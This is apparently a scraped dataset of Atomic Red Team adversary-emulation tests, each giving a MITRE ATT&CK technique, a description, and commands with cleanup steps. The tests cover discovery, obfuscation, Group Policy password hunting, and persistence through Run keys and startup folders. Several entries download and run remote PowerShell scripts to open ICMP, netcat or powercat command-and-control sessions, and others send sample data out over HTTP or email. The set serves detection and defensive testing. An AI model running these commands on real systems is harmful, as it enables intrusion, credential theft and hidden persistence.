deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1007: System Service Discovery
Test: System Service Discovery - Services Registry Enumeration
Platforms: windows
Executor: powershell

Description:
Enumerates Windows services by reading the Services registry key
(HKLM\SYSTEM\CurrentControlSet\Services) instead of using Service Control
Manager APIs or CLI tools such as sc.exe or Get-Service.


Command:
Get-ChildItem -Path 'HKLM:\SYSTEM\CurrentControlSet\Services' |
  ForEach-Object {
    $p = Get-ItemProperty -Path $_.PSPath -ErrorAction SilentlyContinue
    [PSCustomObject]@{
      Name        = $_.PSChildName
      DisplayName = $p.DisplayName
      ImagePath   = $p.ImagePath
      StartType   = $p.Start
    }
  }
Atomic Red Team — T1007: System Service Discovery
Test: System Service Discovery - Linux init scripts
Platforms: linux
Executor: sh

Description:
Enumerates system services by listing SysV init scripts and runlevel
symlinks under /etc/init.d and /etc/rc*.d.


Command:
echo "[*] Listing SysV init scripts (/etc/init.d):"
if [ -d /etc/init.d ]; then ls -l /etc/init.d; else echo "/etc/init.d not present on this system"; fi
echo
echo "[*] Listing runlevel directories (/etc/rc*.d):"
ls -ld /etc/rc*.d 2>/dev/null || echo "No /etc/rc*.d directories found"
Atomic Red Team — T1609: Kubernetes Exec Into Container
Test: ExecIntoContainer
Platforms: containers
Executor: bash

Description:
Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“kubectl exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “kubectl exec”.


Command:
kubectl create -f #{path} -n #{namespace}
# wait 3 seconds for the instance to come up
sleep 3
kubectl exec -n #{namespace} busybox -- #{command}


Cleanup:
kubectl delete pod busybox -n #{namespace}


Dependencies:
kubectl must be installed
Atomic Red Team — T1609: Kubernetes Exec Into Container
Test: Docker Exec Into Container
Platforms: containers
Executor: bash

Description:
Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“docker exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “docker exec”. Kinsing (Golang-based malware) was executed with an Ubuntu container entry point that runs shell scripts.


Command:
docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ 
docker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh
docker exec -i t1609_container bash -c "cat /tmp/output.txt"


Cleanup:
docker stop t1609_container
docker rmi -f t1609:latest 


Dependencies:
docker must be installed
Atomic Red Team — T1027.001: Obfuscated Files or Information: Binary Padding
Test: Pad Binary to Change Hash - Linux/macOS dd
Platforms: linux, macos
Executor: sh

Description:
Uses dd to add a zero byte, high-quality random data, and low-quality random data to the binary to change the hash.

Upon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.


Command:
dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} #adds null bytes
dd if=/dev/random bs=1 count=1 >> #{file_to_pad} #adds high-quality random data
dd if=/dev/urandom bs=1 count=1 >> #{file_to_pad} #adds low-quality random data


Cleanup:
rm #{file_to_pad}


Dependencies:
The binary must exist on disk at specified location (#{file_to_pad})
Atomic Red Team — T1027.001: Obfuscated Files or Information: Binary Padding
Test: Pad Binary to Change Hash using truncate command - Linux/macOS
Platforms: linux, macos
Executor: sh

Description:
Uses truncate to add a byte to the binary to change the hash.

Upon successful execution, truncate will modify `/tmp/evil-binary`, therefore the expected hash will change.


Command:
truncate -s +1 #{file_to_pad} #adds a byte to the file size


Cleanup:
rm #{file_to_pad}


Dependencies:
The binary must exist on disk at specified location (#{file_to_pad})
Atomic Red Team — T1027: Obfuscated Files or Information
Test: Decode base64 Data into Script
Platforms: macos, linux
Executor: sh

Description:
Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` 
and uname -v


Command:
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh


Cleanup:
rm /tmp/encoded.dat 
rm /tmp/art.sh


Dependencies:
encode the command into base64 file
Atomic Red Team — T1027: Obfuscated Files or Information
Test: Execute base64-encoded PowerShell
Platforms: windows
Executor: powershell

Description:
Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"


Command:
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
Atomic Red Team — T1027: Obfuscated Files or Information
Test: Execute base64-encoded PowerShell from Windows Registry
Platforms: windows
Executor: powershell

Description:
Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.


Command:
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"


Cleanup:
Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}
Atomic Red Team — T1027: Obfuscated Files or Information
Test: Execution from Compressed File
Platforms: windows
Executor: command_prompt

Description:
Mimic execution of compressed executable. When successfully executed, calculator.exe will open.


Command:
"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe"


Cleanup:
taskkill /f /im calculator.exe >nul 2>nul
taskkill /f /im CalculatorApp.exe >nul 2>nul


Dependencies:
T1027.exe must exist on disk at PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe
Atomic Red Team — T1027: Obfuscated Files or Information
Test: DLP Evasion via Sensitive Data in VBA Macro over email
Platforms: windows
Executor: powershell

Description:
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.
Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.


Command:
Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}
Atomic Red Team — T1027: Obfuscated Files or Information
Test: DLP Evasion via Sensitive Data in VBA Macro over HTTP
Platforms: windows
Executor: powershell

Description:
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP.
Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.


Command:
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"
Atomic Red Team — T1027: Obfuscated Files or Information
Test: Obfuscated Command in PowerShell
Platforms: windows
Executor: powershell

Description:
This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.


Command:
$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE]("{1}{0}{2}"-f'nv','cO','ert')  ;  &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') (  (&("{1}{2}{0}"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )
Atomic Red Team — T1027: Obfuscated Files or Information
Test: Obfuscated Command Line using special Unicode characters
Platforms: windows
Executor: manual

Description:
This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters).
Reference:
https://wietze.github.io/blog/windows-command-line-obfuscation
Atomic Red Team — T1027: Obfuscated Files or Information
Test: Snake Malware Encrypted crmlog file
Platforms: windows
Executor: powershell

Description:
The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/[PII_REDACTED]/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)  


Command:
$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)"


Cleanup:
$fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = "$env:windir\registration\"; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; W
Atomic Red Team — T1027: Obfuscated Files or Information
Test: Execution from Compressed JScript File
Platforms: windows
Executor: command_prompt

Description:
Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/


Command:
"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js"


Cleanup:
taskkill /f /im calculator.exe >nul 2>nul


Dependencies:
T1027.js must exist on disk at PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js
Atomic Red Team — T1027: Obfuscated Files or Information
Test: Obfuscated PowerShell Command via Character Array
Platforms: windows
Executor: powershell

Description:
Spawns a child PowerShell process using character array obfuscation. 
Both the PowerShell binary name and executed command are constructed 
from ASCII values at runtime to evade string-based detection.


Command:
$ps = [char[]](112,111,119,101,114,115,104,101,108,108)
$cmd = [char[]](83,116,97,114,116,45,80,114,111,99,101,115,115,32,99,97,108,99,46,101,120,101)
& (-join $ps) "-Command" (-join $cmd)


Cleanup:
taskkill /f /im calculator.exe >nul 2>nul
taskkill /f /im CalculatorApp.exe >nul 2>nul
Atomic Red Team — T1552.006: Unsecured Credentials: Group Policy Preferences
Test: GPP Passwords (findstr)
Platforms: windows
Executor: command_prompt

Description:
Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux.


Command:
findstr /S cpassword %logonserver%\sysvol\*.xml


Dependencies:
Computer must be domain joined
Atomic Red Team — T1552.006: Unsecured Credentials: Group Policy Preferences
Test: GPP Passwords (Get-GPPPassword)
Platforms: windows
Executor: powershell

Description:
Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller.
This test is intended to be run from a domain joined workstation, not on the Domain Controller itself.
The Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.

Successful test execution will either display the credentials found in the GPP files or indicate "No preference files found".


Command:
. "#{gpp_script_path}"
Get-GPPPassword -Verbose


Dependencies:
Get-GPPPassword PowerShell Script must exist at #{gpp_script_path}

Computer must be domain joined
Atomic Red Team — T1095: Non-Application Layer Protocol
Test: ICMP C2
Platforms: windows
Executor: powershell

Description:
This will attempt to  start C2 Session Using ICMP. For information on how to set up the listener
refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/


Command:
IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
Invoke-PowerShellIcmp -IPAddress #{server_ip}
Atomic Red Team — T1095: Non-Application Layer Protocol
Test: Netcat C2
Platforms: windows
Executor: powershell

Description:
Start C2 Session Using Ncat
To start the listener on a Linux device, type the following: 
nc -l -p <port>


Command:
cmd /c "#{ncat_exe}" #{server_ip} #{server_port}


Dependencies:
ncat.exe must be available at specified location (#{ncat_exe})
Atomic Red Team — T1095: Non-Application Layer Protocol
Test: Powercat C2
Platforms: windows
Executor: powershell

Description:
Start C2 Session Using Powercat
To start the listener on a Linux device, type the following: 
nc -l -p <port>


Command:
IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
powercat -c #{server_ip} -p #{server_port}
Atomic Red Team — T1095: Non-Application Layer Protocol
Test: Linux ICMP Reverse Shell using icmp-cnc
Platforms: linux
Executor: manual

Description:
ICMP C2 (Command and Control) utilizes the Internet Control Message Protocol (ICMP), traditionally used for network diagnostics, as a covert communication channel for attackers. By using ICMP, adversaries can send commands, exfiltrate data, or maintain access to compromised systems without triggering network detection systems.
This method allows attackers to communicate and control compromised devices while remaining undetected.

For more details, check this blog: [ICMP Reverse Shell Blog](https://cryptsus.com/blog/icmp-reverse-shell.html)

**Important Notes:**
- Use `[icmp-cnc]` for the C2 server (Attacker) and `[icmpdoor]` for the C2 client (Victim).
- Binaries work on Ubuntu 22.04.5 LTS; for CentOS Stream or other, use the Python file from the GitHub link [https://github.com/krabelize/icmpdoor].
- Root access is required.
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Reg Key Run
Platforms: windows
Executor: command_prompt

Description:
Run Key Persistence

Upon successful execution, cmd.exe will modify the registry by adding \"Atomic Red Team\" to the Run key. Output will be via stdout. 


Command:
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"


Cleanup:
REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f >nul 2>&1
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Reg Key RunOnce
Platforms: windows
Executor: command_prompt

Description:
RunOnce Key Persistence.

Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout. 


Command:
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"


Cleanup:
REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: PowerShell Registry RunOnce
Platforms: windows
Executor: powershell

Description:
RunOnce Key Persistence via PowerShell
Upon successful execution, a new entry will be added to the runonce item in the registry.


Command:
$RunOnceKey = "#{reg_key_path}"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"'


Cleanup:
Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Suspicious vbs file run from startup Folder
Platforms: windows
Executor: powershell

Description:
vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World VBS!" will be displayed twice. 
Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
folder and will also run when the computer is restarted and the user logs in.


Command:
Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"


Cleanup:
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Suspicious jse file run from startup Folder
Platforms: windows
Executor: powershell

Description:
jse files can be placed in and ran from the startup folder to maintain persistance.
Upon execution, "T1547.001 Hello, World JSE!" will be displayed twice. 
Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
folder and will also run when the computer is restarted and the user logs in.


Command:
Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"


Cleanup:
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Suspicious bat file run from startup Folder
Platforms: windows
Executor: powershell

Description:
bat files can be placed in and executed from the startup folder to maintain persistance

Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
folder and will also run when the computer is restarted and the user logs in.


Command:
Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"


Cleanup:
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Add Executable Shortcut Link to User Startup Folder
Platforms: windows
Executor: powershell

Description:
Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists. 

Command:
$Target = "C:\Windows\System32\calc.exe"
$ShortcutLocation = "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Create = $WScriptShell.CreateShortcut($ShortcutLocation)
$Create.TargetPath = $Target
$Create.Save()      

Cleanup:
Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Add persistance via Recycle bin
Platforms: windows
Executor: command_prompt

Description:
Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf)
User have to clic on the recycle bin to lauch the payload (here calc)


Command:
reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f

Cleanup:
reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: SystemBC Malware-as-a-Service Registry
Platforms: windows
Executor: powershell

Description:
This Atomic will create a registry key called socks5_powershell for persistance access
https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c


Command:
$RunKey = "#{reg_key_path}"
Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}"


Cleanup:
Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell" -Force -ErrorAction Ignore
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value
Platforms: windows
Executor: powershell

Description:
This test will modify the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Common Startup" 
value to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart


Command:
New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "#{new_startup_folder}"


Cleanup:
Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Remove-Item "#{new_startup_folder}" -Recurse -Force